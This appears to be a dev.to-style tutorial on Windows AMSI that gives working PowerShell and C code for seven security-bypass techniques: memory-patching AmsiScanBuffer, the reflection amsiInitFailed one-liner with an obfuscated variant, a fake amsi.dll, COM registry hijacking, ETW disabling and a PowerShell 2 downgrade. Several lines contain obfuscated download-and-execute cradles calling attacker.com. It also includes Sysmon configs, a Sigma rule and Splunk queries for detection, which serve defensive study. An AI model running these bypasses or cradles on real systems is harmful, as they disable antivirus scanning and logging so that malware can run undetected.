Description: Master AMSI architecture, bypass methods, detection strategies, and hands-on labs. From basics to advanced exploitation.

🛡️ AMSI Bypass Techniques: The Complete 2026 Developer's Guide

TL;DR: This is a comprehensive, hands-on guide to understanding how AMSI works, 7 proven bypass techniques with working code, detection strategies, and a full lab setup. Bookmark this—you'll reference it often.

📚 Table of Contents

  • What is AMSI?
  • AMSI Architecture
  • 7 Bypass Techniques
    • 1. Memory Patching
    • 2. Obfuscation
    • 3. Reflection Bypass
    • 4. Downgrade Attack
    • 5. DLL Hijacking
    • 6. COM Hijacking
    • 7. ETW Patching
  • Detection & Defense
  • Hands-On Lab
  • Cheat Sheet
  • Resources

🎯 What is AMSI?

AMSI = Antivirus Malware Scan Interface

Before diving into bypasses, understand what AMSI actually does.

The Problem AMSI Solves

Traditional AV:

File → Disk → AV Scan → Detect/Block 

Modern attacks:

Script → Memory → Execute → AV sees nothing 😢 

AMSI fixes this:

Script → AMSI intercept → AV scan → Allow/Block → Execute 

What AMSI Covers

Technology Supported Since
PowerShell ✅ 5.0+
VBScript ✅ Win10
JScript ✅ Win10
Office Macros ✅ Office 2016+
.NET Assemblies ✅ .NET 4.8+
WMI ✅ Win10 1903+

🏗️ AMSI Architecture

Flow Diagram

┌──────────────────────────────────────┐ │ Application (PowerShell) │ │ - User runs script │ └───────────────┬──────────────────────┘ │ ▼ ┌──────────────────────────────────────┐ │ AMSI Client (amsi.dll) │ │ AmsiScanBuffer() │ ◄─── TARGET FOR BYPASSES │ AmsiScanString() │ └───────────────┬──────────────────────┘ │ ▼ ┌──────────────────────────────────────┐ │ AV Provider (Windows Defender) │ │ - Signature matching │ │ - Behavioral analysis │ └──────────────────────────────────────┘ 

Key Functions

// Initialize AMSI context HRESULT AmsiInitialize( LPCWSTR appName, HAMSICONTEXT *amsiContext ); // Scan buffer (main scanning function) HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result ); // Clean up void AmsiUninitialize( HAMSICONTEXT amsiContext ); 

Result Codes

Code Value Meaning
AMSI_RESULT_CLEAN 0 ✅ No threat
AMSI_RESULT_NOT_DETECTED 1 ✅ No threat
AMSI_RESULT_DETECTED 32768 🚨 Malware detected

Critical insight: If AmsiScanBuffer() is compromised, the entire chain fails.

⚔️ 7 Bypass Techniques

1️⃣ Memory Patching

Difficulty: ⭐⭐⭐

Stealth: ⭐⭐

Effectiveness: ⭐⭐⭐⭐⭐

How It Works

Overwrite AmsiScanBuffer() in memory to always return success without scanning.

Assembly Patch

; Original function does complex scanning ; Patched function: xor eax, eax ; EAX = 0 (S_OK) ret ; Return immediately 

PowerShell Implementation

function Patch-Amsi { # P/Invoke setup $code = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect( IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect ); } "@ Add-Type $code # Load amsi.dll $amsi = [Kernel32]::LoadLibrary("amsi.dll") $addr = [Kernel32]::GetProcAddress($amsi, "AmsiScanBuffer") # Change memory protection to PAGE_EXECUTE_READWRITE $oldProtect = 0 [Kernel32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$oldProtect) | Out-Null # x64 patch: mov eax, 0; ret $patch = [Byte[]] (0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6) # Restore original protection [Kernel32]::VirtualProtect($addr, [uint32]5, $oldProtect, [ref]$oldProtect) | Out-Null Write-Host "[+] AMSI patched" -ForegroundColor Green } Patch-Amsi 

Detection

Sysmon Config:

<ProcessAccess onmatch="include"> <TargetImage condition="end with">amsi.dll</TargetImage> <GrantedAccess>0x1F3FFF</GrantedAccess> </ProcessAccess> 

2️⃣ Obfuscation

Difficulty: ⭐

Stealth: ⭐⭐⭐⭐

Effectiveness: ⭐⭐⭐

Technique Comparison

Method Example Detection Risk
String Concat "I"+"EX" Low
Base64 [Convert]::FromBase64String() Medium
Character Substitution I`E`X Low
Format Strings "{0}{1}" -f 'I','EX' Low
Reflection [type]::GetType("...") Medium

Examples

Basic Obfuscation:

# Original (detected) IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/payload") # Obfuscated v1: String concatenation $a = "I" + "EX" $b = "New-" + "Object" $c = "Net.Web" + "Client" & (GCI Alias:$a) (& $b $c).DownloadString("http://attacker.com/payload") # Obfuscated v2: Backticks I`E`X (N`ew-Obj`ect N`et.WebCl`ient).Down`loadStr`ing("http://attacker.com/payload") # Obfuscated v3: Format strings $cmd = "{0}{1}" -f "IE", "X" & $cmd (New-Object Net.WebClient).DownloadString("http://attacker.com/payload") 

Advanced Obfuscation:

# Character array assembly $chars = [char[]]@(73,69,88) # "IEX" $cmd = -join $chars & $cmd (New-Object Net.WebClient).DownloadString("http://attacker.com/payload") # Unicode encoding $unicode = [System.Text.Encoding]::Unicode.GetBytes("IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload')") $encoded = [Convert]::ToBase64String($unicode) powershell.exe -EncodedCommand $encoded 

Tools

  • Invoke-Obfuscation (GitHub)
  • ISE-Steroids
  • Chimera (multi-language obfuscator)

3️⃣ Reflection Bypass

Difficulty: ⭐

Stealth: ⭐⭐⭐

Effectiveness: ⭐⭐⭐⭐

The Classic One-Liner

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) 

Step-by-Step Breakdown

# Step 1: Get PowerShell assembly $assembly = [Ref].Assembly # Step 2: Get AmsiUtils type $amsiUtils = $assembly.GetType('System.Management.Automation.AmsiUtils') # Step 3: Get amsiInitFailed field $field = $amsiUtils.GetField('amsiInitFailed', 'NonPublic,Static') # Step 4: Set to true (tells PowerShell AMSI failed to init) $field.SetValue($null, $true) Write-Host "[+] AMSI bypassed via reflection" -ForegroundColor Green 

Alternative Method: Context Nullification

# Null out the AMSI context directly $context = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static') $context.SetValue($null, $null) 

Obfuscated Version

# Less obvious to signature detection [Re`f].Assembly.GetType('Sys'+'tem.Manage'+'ment.Autom'+'ation.Amsi'+'Utils').GetField('ams'+'iInit'+'Failed','NonP'+'ublic,St'+'atic').SetValue($null,$true) 

Detection

PowerShell Script Block Logging (EventID 4104):

Indicators: - "AmsiUtils" - "amsiInitFailed" - "amsiContext" - "NonPublic,Static" 

Sigma Rule:

title: AMSI Bypass via Reflection status: stable logsource: product: windows service: powershell detection: selection: EventID: 4104 ScriptBlockText|contains|all: - 'AmsiUtils' - 'amsiInitFailed' condition: selection level: high 

4️⃣ Downgrade Attack

Difficulty: ⭐

Stealth: ⭐⭐

Effectiveness: ⭐⭐⭐

Concept

PowerShell 2.0 (2009) predates AMSI → No AMSI in v2.0

Execution

# Force PowerShell 2.0 powershell.exe -version 2 -Command "malicious_payload_here" # Example powershell.exe -version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload')" 

Check If Vulnerable

# Check if PS 2.0 is installed Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root # Output: # State: Enabled ❌ (vulnerable) # State: Disabled ✅ (safe) 

Remediation

# Remove PowerShell 2.0 (requires admin + reboot) Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root # Verify Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root 

Detection

Sysmon EventID 1:

<ProcessCreate onmatch="include"> <Image condition="end with">powershell.exe</Image> <CommandLine condition="contains">-version 2</CommandLine> </ProcessCreate> 

Windows Event Log 400:

Look for: "Engine Version = 2.0" 

5️⃣ DLL Hijacking

Difficulty: ⭐⭐⭐⭐

Stealth: ⭐⭐⭐

Effectiveness: ⭐⭐⭐⭐⭐

DLL Search Order

Windows searches for DLLs here (in order):

  1. Application directory
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. Current directory
  6. Directories in %PATH%

Malicious amsi.dll (C/C++)

#include <windows.h>  // Fake AmsiScanBuffer that always returns "clean" extern "C" __declspec(dllexport) HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result ) { *result = AMSI_RESULT_CLEAN; // Always clean return S_OK; } // Fake AmsiScanString extern "C" __declspec(dllexport) HRESULT AmsiScanString( HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result ) { *result = AMSI_RESULT_CLEAN; return S_OK; } // Fake initialization extern "C" __declspec(dllexport) HRESULT AmsiInitialize( LPCWSTR appName, HAMSICONTEXT * amsiContext ) { *amsiContext = (HAMSICONTEXT)1; return S_OK; } // Fake cleanup extern "C" __declspec(dllexport) void AmsiUninitialize( HAMSICONTEXT amsiContext ) { // Do nothing } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { return TRUE; } 

Compile:

# Using MinGW gcc -shared -o amsi.dll amsi.c # Using MSVC cl /LD amsi.c 

Detection

Sysmon EventID 7 (ImageLoad):

<ImageLoad onmatch="include"> <ImageLoaded condition="end with">amsi.dll</ImageLoaded> <ImageLoaded condition="not begin with">C:\Windows\System32</ImageLoaded> </ImageLoad> 

6️⃣ COM Hijacking

Difficulty: ⭐⭐⭐⭐⭐

Stealth: ⭐⭐⭐⭐⭐

Effectiveness: ⭐⭐⭐⭐

Concept

Hijack AMSI's COM registration to redirect to malicious implementation.

Implementation

# AMSI CLSID $clsid = "{fdb00e52-a214-4aa1-8fba-4357bb0072ec}" # Create registry entry pointing to fake DLL New-Item "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Force Set-ItemProperty "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Name "(Default)" -Value "C:\Path\To\Fake\amsi.dll" 

7️⃣ ETW Patching

Difficulty: ⭐⭐⭐

Stealth: ⭐⭐⭐⭐

Effectiveness: ⭐⭐⭐⭐

Concept

Disable Event Tracing for Windows (ETW) to prevent logging.

Implementation

# Patch ETW provider $etw = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') $field = $etw.GetField('etwProvider','NonPublic,Static') $field.SetValue($null, $null) Write-Host "[+] ETW disabled" -ForegroundColor Green 

🛡️ Detection & Defense

Defense-in-Depth Strategy

Layer 1: Prevention ├── Remove PowerShell 2.0 ├── Constrained Language Mode └── Application Whitelisting (AppLocker/WDAC) Layer 2: Detection ├── Script Block Logging (EventID 4104) ├── Sysmon Monitoring ├── EDR/XDR Behavioral Detection └── SIEM Correlation Rules Layer 3: Response ├── Automated Alerting ├── Playbook-based Response └── Threat Hunting 

Implementation Checklist

✅ Basic Hardening

  • [ ] Remove PowerShell 2.0
 Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root 
  • [ ] Enable Script Block Logging
 New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 
  • [ ] Enable Constrained Language Mode
 [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') 

✅ Sysmon Deployment

Config snippet for AMSI bypass detection:

<Sysmon schemaversion="4.82"> <EventFiltering> <!-- Memory patching detection --> <ProcessAccess onmatch="include"> <TargetImage condition="end with">amsi.dll</TargetImage> <GrantedAccess>0x1F3FFF</GrantedAccess> </ProcessAccess> <!-- PowerShell downgrade --> <ProcessCreate onmatch="include"> <Image condition="end with">powershell.exe</Image> <CommandLine condition="contains any">-version 2;-v 2</CommandLine> </ProcessCreate> <!-- Reflection bypass --> <ProcessCreate onmatch="include"> <CommandLine condition="contains all">AmsiUtils;amsiInitFailed</CommandLine> </ProcessCreate> <!-- DLL hijacking --> <ImageLoad onmatch="include"> <ImageLoaded condition="end with">amsi.dll</ImageLoaded> <ImageLoaded condition="not begin with">C:\Windows\System32</ImageLoaded> </ImageLoad> </EventFiltering> </Sysmon> 

✅ SIEM/Splunk Queries

Detect reflection bypass:

index=windows EventCode=4104 ScriptBlockText="*AmsiUtils*" ScriptBlockText="*amsiInitFailed*" | stats count by Computer, User 

Detect PowerShell downgrade:

index=windows EventCode=4104 EngineVersion="2.*" | stats count by Computer, CommandLine 

🧪 Hands-On Lab

Lab Setup

Requirements:

  • Windows 10/11 VM
  • PowerShell 5.1+
  • Admin rights
  • ⚠️ SNAPSHOT BEFORE TESTING

Exercise 1: Test AMSI Baseline

# This should be BLOCKED by AMSI 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386' # Expected output: # This script contains malicious content and has been blocked by your antivirus software. 

Exercise 2: Reflection Bypass

# Test 1: AMSI active (should block) 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386' # Bypass AMSI [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) # Test 2: AMSI bypassed (should NOT block) 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386' 

Exercise 3: Verify Logging

# Check if bypass was logged Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational' ID=4104 } -MaxEvents 5 | Select-Object TimeCreated, Message | Format-List 

Exercise 4: Clean Up

# Restart PowerShell to restore AMSI exit 

📋 Cheat Sheet

Quick Reference

Technique Command Detection
Memory Patch Custom P/Invoke Sysmon ProcessAccess
Obfuscation "I"+"EX" Script Block Logging
Reflection [Ref].Assembly... EventID 4104
Downgrade powershell -v 2 EventID 4104/400
DLL Hijack Place fake amsi.dll Sysmon ImageLoad
COM Hijack Registry redirect Registry monitoring
ETW Patch Null ETW provider Behavioral detection

Detection Priority

  1. High Priority:

    • PowerShell 2.0 execution
    • AmsiUtils + amsiInitFailed in scripts
    • amsi.dll loaded from non-System32
  2. Medium Priority:

    • Base64-encoded commands
    • Excessive obfuscation patterns
    • Memory protection changes
  3. Low Priority:

    • Standard obfuscation
    • Legitimate admin scripts

🔗 Resources

Official Docs

Tools

Further Reading

🎯 Key Takeaways

  1. ✅ AMSI is essential but not sufficient alone
  2. ✅ Multiple bypass methods exist — defenders must layer controls
  3. ✅ Logging is critical — even bypassed AMSI leaves traces
  4. ✅ Behavior > Signatures — detect what scripts DO, not what they LOOK LIKE
  5. ✅ Source:https://dev.to/cyberrscourse/amsi-bypass-techniques-the-complete-2026-developers-guide-4he